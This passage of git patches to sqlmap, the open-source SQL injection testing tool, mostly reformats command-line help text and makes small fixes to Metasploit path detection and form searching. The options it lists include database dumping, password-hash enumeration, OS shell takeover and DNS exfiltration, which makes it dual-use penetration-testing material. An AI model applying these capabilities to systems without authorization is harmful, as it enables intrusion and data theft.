help="Retrieve page length without actual HTTP response body") + help="Retrieve page length without actual HTTP response body") optimization.add_argument("--threads", dest="threads", type=int, - help="Max number of concurrent HTTP(s) " - "requests (default %d)" % defaults.threads) + help="Max number of concurrent HTTP(s) requests (default %d)" % defaults.threads) # Injection options injection = parser.add_argument_group("Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts") injection.add_argument("-p", dest="testParameter", - help="Testable parameter(s)") + help="Testable parameter(s)") injection.add_argument("--skip", dest="skip", - help="Skip testing for given parameter(s)") + help="Skip testing for given parameter(s)") injection.add_argument("--skip-static", dest="skipStatic", action="store_true", - help="Skip testing parameters that not appear to be dynamic") + help="Skip testing parameters that not appear to be dynamic") injection.add_argument("--param-exclude", dest="paramExclude", - help="Regexp to exclude parameters from testing (e.g. \"ses\")") + help="Regexp to exclude parameters from testing (e.g. \"ses\")") injection.add_argument("--param-filter", dest="paramFilter", - help="Select testable parameter(s) by place (e.g. \"POST\")") + help="Select testable parameter(s) by place (e.g. \"POST\")") injection.add_argument("--dbms", dest="dbms", - help="Force back-end DBMS to provided value") + help="Force back-end DBMS to provided value") injection.add_argument("--dbms-cred", dest="dbmsCred", - help="DBMS authentication credentials (user:password)") + help="DBMS authentication credentials (user:password)") injection.add_argument("--os", dest="os", - help="Force back-end DBMS operating system to provided value") + help="Force back-end DBMS operating system to provided value") injection.add_argument("--invalid-bignum", dest="invalidBignum", action="store_true", - help="Use big numbers for invalidating values") + help="Use big numbers for invalidating values") injection.add_argument("--invalid-logical", dest="invalidLogical", action="store_true", - help="Use logical operations for invalidating values") + help="Use logical operations for invalidating values") injection.add_argument("--invalid-string", dest="invalidString", action="store_true", - help="Use random strings for invalidating values") + help="Use random strings for invalidating values") injection.add_argument("--no-cast", dest="noCast", action="store_true", - help="Turn off payload casting mechanism") + help="Turn off payload casting mechanism") injection.add_argument("--no-escape", dest="noEscape", action="store_true", - help="Turn off string escaping mechanism") + help="Turn off string escaping mechanism") injection.add_argument("--prefix", dest="prefix", - help="Injection payload prefix string") + help="Injection payload prefix string") injection.add_argument("--suffix", dest="suffix", - help="Injection payload suffix string") + help="Injection payload suffix string") injection.add_argument("--tamper", dest="tamper", - help="Use given script(s) for tampering injection data") + help="Use given script(s) for tampering injection data") # Detection options detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase") detection.add_argument("--level", dest="level", type=int, - help="Level of tests to perform (1-5, default %d)" % defaults.level) + help="Level of tests to perform (1-5, default %d)" % defaults.level) detection.add_argument("--risk", dest="risk", type=int, - help="Risk of tests to perform (1-3, default %d)" % defaults.risk) + help="Risk of tests to perform (1-3, default %d)" % defaults.risk) detection.add_argument("--string", dest="string", - help="String to match when query is evaluated to True") + help="String to match when query is evaluated to True") detection.add_argument("--not-string", dest="notString", - help="String to match when query is evaluated to False") + help="String to match when query is evaluated to False") detection.add_argument("--regexp", dest="regexp", - help="Regexp to match when query is evaluated to True") + help="Regexp to match when query is evaluated to True") detection.add_argument("--code", dest="code", type=int, - help="HTTP code to match when query is evaluated to True") + help="HTTP code to match when query is evaluated to True") detection.add_argument("--text-only", dest="textOnly", action="store_true", - help="Compare pages based only on the textual content") + help="Compare pages based only on the textual content") detection.add_argument("--titles", dest="titles", action="store_true", - help="Compare pages based only on their titles") + help="Compare pages based only on their titles") # Techniques options techniques = parser.add_argument_group("Techniques", "These options can be used to tweak testing of specific SQL injection techniques") techniques.add_argument("--technique", dest="technique", - help="SQL injection techniques to use (default \"%s\")" % defaults.technique) + help="SQL injection techniques to use (default \"%s\")" % defaults.technique) techniques.add_argument("--time-sec", dest="timeSec", type=int, - help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) + help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) techniques.add_argument("--union-cols", dest="uCols", - help="Range of columns to test for UNION query SQL injection") + help="Range of columns to test for UNION query SQL injection") techniques.add_argument("--union-char", dest="uChar", - help="Character to use for bruteforcing number of columns") + help="Character to use for bruteforcing number of columns") techniques.add_argument("--union-from", dest="uFrom", - help="Table to use in FROM part of UNION query SQL injection") + help="Table to use in FROM part of UNION query SQL injection") techniques.add_argument("--dns-domain", dest="dnsDomain", - help="Domain name used for DNS exfiltration attack") + help="Domain name used for DNS exfiltration attack") techniques.add_argument("--second-url", dest="secondUrl", - help="Resulting page URL searched for second-order response") + help="Resulting page URL searched for second-order response") techniques.add_argument("--second-req", dest="secondReq", - help="Load second-order HTTP request from file") + help="Load second-order HTTP request from file") # Fingerprint options fingerprint = parser.add_argument_group("Fingerprint") fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true", - help="Perform an extensive DBMS version fingerprint") + help="Perform an extensive DBMS version fingerprint") # Enumeration options enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements") enumeration.add_argument("-a", "--all", dest="getAll", action="store_true", - help="Retrieve everything") + help="Retrieve everything") enumeration.add_argument("-b", "--banner", dest="getBanner", action="store_true", - help="Retrieve DBMS banner") + help="Retrieve DBMS banner") enumeration.add_argument("--current-user", dest="getCurrentUser", action="store_true", - help="Retrieve DBMS current user") + help="Retrieve DBMS current user") enumeration.add_argument("--current-db", dest="getCurrentDb", action="store_true", - help="Retrieve DBMS current database") + help="Retrieve DBMS current database") enumeration.add_argument("--hostname", dest="getHostname", action="store_true", - help="Retrieve DBMS server hostname") + help="Retrieve DBMS server hostname") enumeration.add_argument("--is-dba", dest="isDba", action="store_true", - help="Detect if the DBMS current user is DBA") + help="Detect if the DBMS current user is DBA") enumeration.add_argument("--users", dest="getUsers", action="store_true", - help="Enumerate DBMS users") + help="Enumerate DBMS users") enumeration.add_argument("--passwords", dest="getPasswordHashes", action="store_true", - help="Enumerate DBMS users password hashes") + help="Enumerate DBMS users password hashes") enumeration.add_argument("--privileges", dest="getPrivileges", action="store_true", - help="Enumerate DBMS users privileges") + help="Enumerate DBMS users privileges") enumeration.add_argument("--roles", dest="getRoles", action="store_true", - help="Enumerate DBMS users roles") + help="Enumerate DBMS users roles") enumeration.add_argument("--dbs", dest="getDbs", action="store_true", - help="Enumerate DBMS databases") + help="Enumerate DBMS databases") enumeration.add_argument("--tables", dest="getTables", action="store_true", - help="Enumerate DBMS database tables") + help="Enumerate DBMS database tables") enumeration.add_argument("--columns", dest="getColumns", action="store_true", - help="Enumerate DBMS database table columns") + help="Enumerate DBMS database table columns") enumeration.add_argument("--schema", dest="getSchema", action="store_true", - help="Enumerate DBMS schema") + help="Enumerate DBMS schema") enumeration.add_argument("--count", dest="getCount", action="store_true", - help="Retrieve number of entries for table(s)") + help="Retrieve number of entries for table(s)") enumeration.add_argument("--dump", dest="dumpTable", action="store_true", - help="Dump DBMS database table entries") + help="Dump DBMS database table entries") enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true", - help="Dump all DBMS databases tables entries") + help="Dump all DBMS databases tables entries") enumeration.add_argument("--search", dest="search", action="store_true", - help="Search column(s), table(s) and/or database name(s)") + help="Search column(s), table(s) and/or database name(s)") enumeration.add_argument("--comments", dest="getComments", action="store_true", - help="Check for DBMS comments during enumeration") + help="Check for DBMS comments during enumeration") enumeration.add_argument("--statements", dest="getStatements", action="store_true", - help="Retrieve SQL statements being run on DBMS") + help="Retrieve SQL statements being run on DBMS") enumeration.add_argument("-D", dest="db", - help="DBMS database to enumerate") + help="DBMS database to enumerate") enumeration.add_argument("-T", dest="tbl", - help="DBMS database table(s) to enumerate") + help="DBMS database table(s) to enumerate") enumeration.add_argument("-C", dest="col", - help="DBMS database table column(s) to enumerate") + help="DBMS database table column(s) to enumerate") enumeration.add_argument("-X", dest="exclude", - help="DBMS database identifier(s) to not enumerate") + help="DBMS database identifier(s) to not enumerate") enumeration.add_argument("-U", dest="user", - help="DBMS user to enumerate") + help="DBMS user to enumerate") enumeration.add_argument("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", - help="Exclude DBMS system databases when enumerating tables") + help="Exclude DBMS system databases when enumerating tables") enumeration.add_argument("--pivot-column", dest="pivotColumn", - help="Pivot column name") + help="Pivot column name") enumeration.add_argument("--where", dest="dumpWhere", - help="Use WHERE condition while table dumping") + help="Use WHERE condition while table dumping") enumeration.add_argument("--start", dest="limitStart", type=int, - help="First dump table entry to retrieve") + help="First dump table entry to retrieve") enumeration.add_argument("--stop", dest="limitStop", type=int, - help="Last dump table entry to retrieve") + help="Last dump table entry to retrieve") enumeration.add_argument("--first", dest="firstChar", type=int, - help="First query output word character to retrieve") + help="First query output word character to retrieve") enumeration.add_argument("--last", dest="lastChar", type=int, - help="Last query output word character to retrieve") + help="Last query output word character to retrieve") enumeration.add_argument("--sql-query", dest="sqlQuery", - help="SQL statement to be executed") + help="SQL statement to be executed") enumeration.add_argument("--sql-shell", dest="sqlShell", action="store_true", - help="Prompt for an interactive SQL shell") + help="Prompt for an interactive SQL shell") enumeration.add_argument("--sql-file", dest="sqlFile", - help="Execute SQL statements from given file(s)") + help="Execute SQL statements from given file(s)") # Brute force options brute = parser.add_argument_group("Brute force", "These options can be used to run brute force checks") brute.add_argument("--common-tables", dest="commonTables", action="store_true", - help="Check existence of common tables") + help="Check existence of common tables") brute.add_argument("--common-columns", dest="commonColumns", action="store_true", - help="Check existence of common columns") + help="Check existence of common columns") brute.add_argument("--common-files", dest="commonFiles", action="store_true", - help="Check existence of common files") + help="Check existence of common files") # User-defined function options udf = parser.add_argument_group("User-defined function injection", "These options can be used to create custom user-defined functions") udf.add_argument("--udf-inject", dest="udfInject", action="store_true", - help="Inject custom user-defined functions") + help="Inject custom user-defined functions") udf.add_argument("--shared-lib", dest="shLib", - help="Local path of the shared library") + help="Local path of the shared library") # File system options filesystem = parser.add_argument_group("File system access", "These options can be used to access the back-end database management system underlying file system") filesystem.add_argument("--file-read", dest="fileRead", - help="Read a file from the back-end DBMS file system") + help="Read a file from the back-end DBMS file system") filesystem.add_argument("--file-write", dest="fileWrite", - help="Write a local file on the back-end DBMS file system") + help="Write a local file on the back-end DBMS file system") filesystem.add_argument("--file-dest", dest="fileDest", - help="Back-end DBMS absolute filepath to write to") + help="Back-end DBMS absolute filepath to write to") # Takeover options takeover = parser.add_argument_group("Operating system access", "These options can be used to access the back-end database management system underlying operating system") takeover.add_argument("--os-cmd", dest="osCmd", - help="Execute an operating system command") + help="Execute an operating system command") takeover.add_argument("--os-shell", dest="osShell", action="store_true", - help="Prompt for an interactive operating system shell") + help="Prompt for an interactive operating system shell") takeover.add_argument("--os-pwn", dest="osPwn", action="store_true", - help="Prompt for an OOB shell, Meterpreter or VNC") + help="Prompt for an OOB shell, Meterpreter or VNC") takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true", - help="One click prompt for an OOB shell, Meterpreter or VNC") + help="One click prompt for an OOB shell, Meterpreter or VNC") takeover.add_argument("--os-bof", dest="osBof", action="store_true", - help="Stored procedure buffer overflow " + help="Stored procedure buffer overflow " "exploitation") takeover.add_argument("--priv-esc", dest="privEsc", action="store_true", - help="Database process user privilege escalation") + help="Database process user privilege escalation") takeover.add_argument("--msf-path", dest="msfPath", - help="Local path where Metasploit Framework is installed") + help="Local path where Metasploit Framework is installed") takeover.add_argument("--tmp-path", dest="tmpPath", - help="Remote absolute path of temporary files directory") + help="Remote absolute path of temporary files directory") # Windows registry options windows = parser.add_argument_group("Windows registry access", "These options can be used to access the back-end database management system Windows registry") windows.add_argument("--reg-read", dest="regRead", action="store_true", - help="Read a Windows registry key value") + help="Read a Windows registry key value") windows.add_argument("--reg-add", dest="regAdd", action="store_true", - help="Write a Windows registry key value data") + help="Write a Windows registry key value data") windows.add_argument("--reg-del", dest="regDel", action="store_true", - help="Delete a Windows registry key value") + help="Delete a Windows registry key value") windows.add_argument("--reg-key", dest="regKey", - help="Windows registry key") + help="Windows registry key") windows.add_argument("--reg-value", dest="regVal", - help="Windows registry key value") + help="Windows registry key value") windows.add_argument("--reg-data", dest="regData", - help="Windows registry key value data") + help="Windows registry key value data") windows.add_argument("--reg-type", dest="regType", - help="Windows registry key value type") + help="Windows registry key value type") # General options general = parser.add_argument_group("General", "These options can be used to set some general working parameters") general.add_argument("-s", dest="sessionFile", - help="Load session from a stored (.sqlite) file") + help="Load session from a stored (.sqlite) file") general.add_argument("-t", dest="trafficFile", - help="Log all HTTP traffic into a textual file") + help="Log all HTTP traffic into a textual file") general.add_argument("--batch", dest="batch", action="store_true", - help="Never ask for user input, use the default behavior") + help="Never ask for user input, use the default behavior") general.add_argument("--binary-fields", dest="binaryFields", - help="Result fields having binary values (e.g. \"digest\")") + help="Result fields having binary values (e.g. \"digest\")") general.add_argument("--check-internet", dest="checkInternet", action="store_true", - help="Check Internet connection before assessing the target") + help="Check Internet connection before assessing the target") general.add_argument("--crawl", dest="crawlDepth", type=int, - help="Crawl the website starting from the target URL") + help="Crawl the website starting from the target URL") general.add_argument("--crawl-exclude", dest="crawlExclude", - help="Regexp to exclude pages from crawling (e.g. \"logout\")") + help="Regexp to exclude pages from crawling (e.g. \"logout\")") general.add_argument("--csv-del", dest="csvDel", - help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel) + help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel) general.add_argument("--charset", dest="charset", - help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") + help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") general.add_argument("--dump-format", dest="dumpFormat", - help="Format of dumped data (CSV (default), HTML or SQLITE)") + help="Format of dumped data (CSV (default), HTML or SQLITE)") general.add_argument("--encoding", dest="encoding", - help="Character encoding used for data retrieval (e.g. GBK)") + help="Character encoding used for data retrieval (e.g. GBK)") general.add_argument("--eta", dest="eta", action="store_true", - help="Display for each output the estimated time of arrival") + help="Display for each output the estimated time of arrival") general.add_argument("--flush-session", dest="flushSession", action="store_true", - help="Flush session files for current target") + help="Flush session files for current target") general.add_argument("--forms", dest="forms", action="store_true", - help="Parse and test forms on target URL") + help="Parse and test forms on target URL") general.add_argument("--fresh-queries", dest="freshQueries", action="store_true", - help="Ignore query results stored in session file") + help="Ignore query results stored in session file") general.add_argument("--har", dest="harFile", - help="Log all HTTP traffic into a HAR file") + help="Log all HTTP traffic into a HAR file") general.add_argument("--hex", dest="hexConvert", action="store_true", - help="Use hex conversion during data retrieval") + help="Use hex conversion during data retrieval") general.add_argument("--output-dir", dest="outputDir", action="store", - help="Custom output directory path") + help="Custom output directory path") general.add_argument("--parse-errors", dest="parseErrors", action="store_true", - help="Parse and display DBMS error messages from responses") + help="Parse and display DBMS error messages from responses") general.add_argument("--preprocess", dest="preprocess", - help="Use given script(s) for preprocessing of response data") + help="Use given script(s) for preprocessing of response data") general.add_argument("--repair", dest="repair", action="store_true", - help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) + help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) general.add_argument("--save", dest="saveConfig", - help="Save options to a configuration INI file") + help="Save options to a configuration INI file") general.add_argument("--scope", dest="scope", - help="Regexp to filter targets from provided proxy log") + help="Regexp to filter targets from provided proxy log") general.add_argument("--test-filter", dest="testFilter", - help="Select tests by payloads and/or titles (e.g. ROW)") + help="Select tests by payloads and/or titles (e.g. ROW)") general.add_argument("--test-skip", dest="testSkip", - help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") + help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") general.add_argument("--update", dest="updateAll", action="store_true", - help="Update sqlmap") + help="Update sqlmap") # Miscellaneous options miscellaneous = parser.add_argument_group("Miscellaneous") miscellaneous.add_argument("-z", dest="mnemonics", - help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") + help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") miscellaneous.add_argument("--alert", dest="alert", - help="Run host OS command(s) when SQL injection is found") + help="Run host OS command(s) when SQL injection is found") miscellaneous.add_argument("--answers", dest="answers", - help="Set predefined answers (e.g. \"quit=N,follow=N\")") + help="Set predefined answers (e.g. \"quit=N,follow=N\")") miscellaneous.add_argument("--beep", dest="beep", action="store_true", - help="Beep on question and/or when SQL injection is found") + help="Beep on question and/or when SQL injection is found") miscellaneous.add_argument("--cleanup", dest="cleanup", action="store_true", - help="Clean up the DBMS from sqlmap specific UDF and tables") + help="Clean up the DBMS from sqlmap specific UDF and tables") miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true", - help="Check for missing (optional) sqlmap dependencies") + help="Check for missing (optional) sqlmap dependencies") miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true", - help="Disable console output coloring") + help="Disable console output coloring") miscellaneous.add_argument("--gpage", dest="googlePage", type=int, - help="Use Google dork results from specified page number") + help="Use Google dork results from specified page number") miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", - help="Display list of available tamper scripts") + help="Display list of available tamper scripts") miscellaneous.add_argument("--mobile", dest="mobile", action="store_true", - help="Imitate smartphone through HTTP User-Agent header") + help="Imitate smartphone through HTTP User-Agent header") miscellaneous.add_argument("--offline", dest="offline", action="store_true", - help="Work in offline mode (only use session data)") + help="Work in offline mode (only use session data)") miscellaneous.add_argument("--purge", dest="purge", action="store_true", - help="Safely remove all content from sqlmap data directory") + help="Safely remove all content from sqlmap data directory") miscellaneous.add_argument("--skip-waf", dest="skipWaf", action="store_true", - help="Skip heuristic detection of WAF/IPS protection") + help="Skip heuristic detection of WAF/IPS protection") miscellaneous.add_argument("--smart", dest="smart", action="store_true", - help="Conduct thorough tests only if positive heuristic(s)") + help="Conduct thorough tests only if positive heuristic(s)") miscellaneous.add_argument("--sqlmap-shell", dest="sqlmapShell", action="store_true", - help="Prompt for an interactive sqlmap shell") + help="Prompt for an interactive sqlmap shell") miscellaneous.add_argument("--tmp-dir", dest="tmpDir", - help="Local directory for storing temporary files") + help="Local directory for storing temporary files") miscellaneous.add_argument("--web-root", dest="webRoot", - help="Web server document root directory (e.g. \"/var/www\")") + help="Web server document root directory (e.g. \"/var/www\")") miscellaneous.add_argument("--wizard", dest="wizard", action="store_true", - help="Simple wizard interface for beginner users") + help="Simple wizard interface for beginner users") # Hidden and/or experimental options parser.add_argument("--base64", dest="base64Parameter", - help=SUPPRESS) -# help="Parameter(s) containing Base64 encoded values") + help=SUPPRESS) # "Parameter(s) containing Base64 encoded values" parser.add_argument("--crack", dest="hashFile", - help=SUPPRESS) -# help="Load and crack hashes from a file (standalone)") + help=SUPPRESS) # "Load and crack hashes from a file (standalone)" parser.add_argument("--dummy", dest="dummy", action="store_true", - help=SUPPRESS) + help=SUPPRESS) parser.add_argument("--murphy-rate", dest="murphyRate", type=int, - help=SUPPRESS) + help=SUPPRESS) parser.add_argument("--debug", dest="debug", action="store_true", - help=SUPPRESS) + help=SUPPRESS) parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true", - help=SUPPRESS) + help=SUPPRESS) parser.add_argument("--disable-stats", dest="disableStats", action="store_true", - help=SUPPRESS) + help=SUPPRESS) parser.add_argument("--profile", dest="profile", action="store_true", - help=SUPPRESS) + help=SUPPRESS) parser.add_argument("--force-dbms", dest="forceDbms", - help=SUPPRESS) + help=SUPPRESS) parser.add_argument("--force-dns", dest="forceDns", action="store_true", - help=SUPPRESS) + help=SUPPRESS) parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", - help=SUPPRESS) + help=SUPPRESS) parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", - help=SUPPRESS) + help=SUPPRESS) parser.add_argument("--live-test", dest="liveTest", action="store_true", - help=SUPPRESS) + help=SUPPRESS) parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", - help=SUPPRESS) + help=SUPPRESS) parser.add_argument("--stop-fail", dest="stopFail", action="store_true", - help=SUPPRESS) + help=SUPPRESS) - parser.add_argument("--run-case", dest="runCase", help=SUPPRESS) + parser.add_argument("--run-case", dest="runCase", + help=SUPPRESS) # API options parser.add_argument("--api", dest="api", action="store_true", - help=SUPPRESS) + help=SUPPRESS) - parser.add_argument("--taskid", dest="taskid", help=SUPPRESS) + parser.add_argument("--taskid", dest="taskid", + help=SUPPRESS) - parser.add_argument("--database", dest="database", help=SUPPRESS) + parser.add_argument("--database", dest="database", + help=SUPPRESS) # Dirty hack to display longer options without breaking into two lines if hasattr(parser, "formatter"): @@ -805,7 +803,7 @@ def _format_action_invocation(self, action): action.option_strings = ["-hh"] break - ## Dirty hack for inherent help message of switch '-h' + # Dirty hack for inherent help message of switch '-h' if hasattr(parser, "get_option"): option = parser.get_option("-h") option.help = option.help.capitalize().replace("this help", "basic help") diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py index 6aeaffba0ac..1591ee1fa07 100644 --- a/lib/utils/httpd.py +++ b/lib/utils/httpd.py @@ -82,7 +82,7 @@ def do_GET(self): name = match.group(1) _ = getattr(self, "_%s" % name.lower(), None) if _: - content = self._format(content, **{ name: _() }) + content = self._format(content, **{name: _()}) if "gzip" in self.headers.get(HTTP_HEADER.ACCEPT_ENCODING): self.send_header(HTTP_HEADER.CONTENT_ENCODING, "gzip") From 3c4aadf995485ba78f6dd7be0bc8ff0d2de3d0c3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 15 Jul 2019 13:08:22 +0200 Subject: [PATCH 518/800] Fixes #3823 --- lib/core/option.py | 20 ++++---------------- lib/core/settings.py | 2 +- lib/takeover/metasploit.py | 28 +++++----------------------- 3 files changed, 10 insertions(+), 40 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 3121bc45ce9..eabac0e6664 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -526,22 +526,10 @@ def _setMetasploit(): raise SqlmapMissingDependence(errMsg) if not conf.msfPath: - def _(key, value): - retVal = None - - try: - from six.moves.winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE - _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE) - _ = OpenKey(_, key) - retVal = QueryValueEx(_, value)[0] - except: - logger.debug("unable to identify Metasploit installation path via registry key") - - return retVal - - conf.msfPath = _(r"SOFTWARE\Rapid7\Metasploit", "Location") - if conf.msfPath: - conf.msfPath = os.path.join(conf.msfPath, "msf3") + for candidate in os.environ.get("PATH", "").split(';'): + if all(_ in candidate for _ in ("metasploit", "bin")): + conf.msfPath = os.path.dirname(candidate.rstrip('\\')) + break if conf.osSmb: isAdmin = runningAsAdmin() diff --git a/lib/core/settings.py b/lib/core/settings.py index 459602f8a1d..57ca9154844 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.22" +VERSION = "1.3.7.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 728be721915..7c32a7d4899 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -68,29 +68,11 @@ def _initVars(self): self.payloadConnStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname - self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) - self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole")) - self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) - self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) - self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom")) - - if IS_WIN: - _ = conf.msfPath - while _: - if os.path.exists(os.path.join(_, "scripts")): - _ = os.path.join(_, "scripts", "setenv.bat") - break - else: - old = _ - _ = normalizePath(os.path.join(_, "..")) - if _ == old: - break - - self._msfCli = "%s & ruby %s" % (_, self._msfCli) - self._msfConsole = "%s & ruby %s" % (_, self._msfConsole) - self._msfEncode = "ruby %s" % self._msfEncode - self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) - self._msfVenom = "%s & ruby %s" % (_, self._msfVenom) + self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli%s" % (".bat" if IS_WIN else ""))) + self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole%s" % (".bat" if IS_WIN else ""))) + self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode%s" % (".bat" if IS_WIN else ""))) + self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload%s" % (".bat" if IS_WIN else ""))) + self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom%s" % (".bat" if IS_WIN else ""))) self._msfPayloadsList = { "windows": { From 6b88fa3a30b5bafbd2440a22929c765028cae333 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Jul 2019 09:40:59 +0200 Subject: [PATCH 519/800] Minor patch --- lib/core/option.py | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index eabac0e6664..9c307621804 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1441,6 +1441,9 @@ def _createHomeDirectories(): Creates directories inside sqlmap's home directory """ + if conf.purge: + return + for context in "output", "history": directory = paths["SQLMAP_%s_PATH" % context.upper()] try: diff --git a/lib/core/settings.py b/lib/core/settings.py index 57ca9154844..2de3b52f0ce 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.23" +VERSION = "1.3.7.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 823119a247070f116868f97547d70c4cdd1add50 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Jul 2019 13:37:41 +0200 Subject: [PATCH 520/800] Update regarding #3826 --- lib/core/option.py | 11 +++++++++-- lib/core/settings.py | 2 +- 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 9c307621804..0c49093d8f1 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -455,12 +455,14 @@ def _findPageForms(): if conf.url and not checkConnection(): return + found = False infoMsg = "searching for forms" logger.info(infoMsg) if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)): page, _, _ = Request.queryPage(content=True) - findPageForms(page, conf.url, True, True) + if findPageForms(page, conf.url, True, True): + found = True else: if conf.bulkFile: targets = getFileItems(conf.bulkFile) @@ -473,7 +475,8 @@ def _findPageForms(): try: target = targets[i] page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False) - findPageForms(page, target, False, True) + if findPageForms(page, target, False, True): + found = True if conf.verbose in (1, 2): status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) @@ -484,6 +487,10 @@ def _findPageForms(): errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex)) logger.error(errMsg) + if not found: + warnMsg = "no forms found" + logger.warn(warnMsg) + def _setDBMSAuthentication(): """ Check and set the DBMS authentication credentials to run statements as diff --git a/lib/core/settings.py b/lib/core/settings.py index 2de3b52f0ce..5580d994cbd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.24" +VERSION = "1.3.7.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 86392179c3a6b89b594b572bbfe2a96a16a850b6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Jul 2019 14:02:16 +0200 Subject: [PATCH 521/800] Minor patch related to the #3822 --- lib/core/option.py | 4 ++-- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 0c49093d8f1..335850ab8fd 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1448,7 +1448,7 @@ def _createHomeDirectories(): Creates directories inside sqlmap's home directory """ - if conf.purge: + if conf.get("purge"): return for context in "output", "history": @@ -1461,7 +1461,7 @@ def _createHomeDirectories(): open(_, "w+b").close() os.remove(_) - if conf.outputDir and context == "output": + if conf.get("outputDir") and context == "output": warnMsg = "using '%s' as the %s directory" % (directory, context) logger.warn(warnMsg) except (OSError, IOError) as ex: diff --git a/lib/core/settings.py b/lib/core/settings.py index 5580d994cbd..083a244d200 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.7.25" +VERSION = "1.3.7.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py 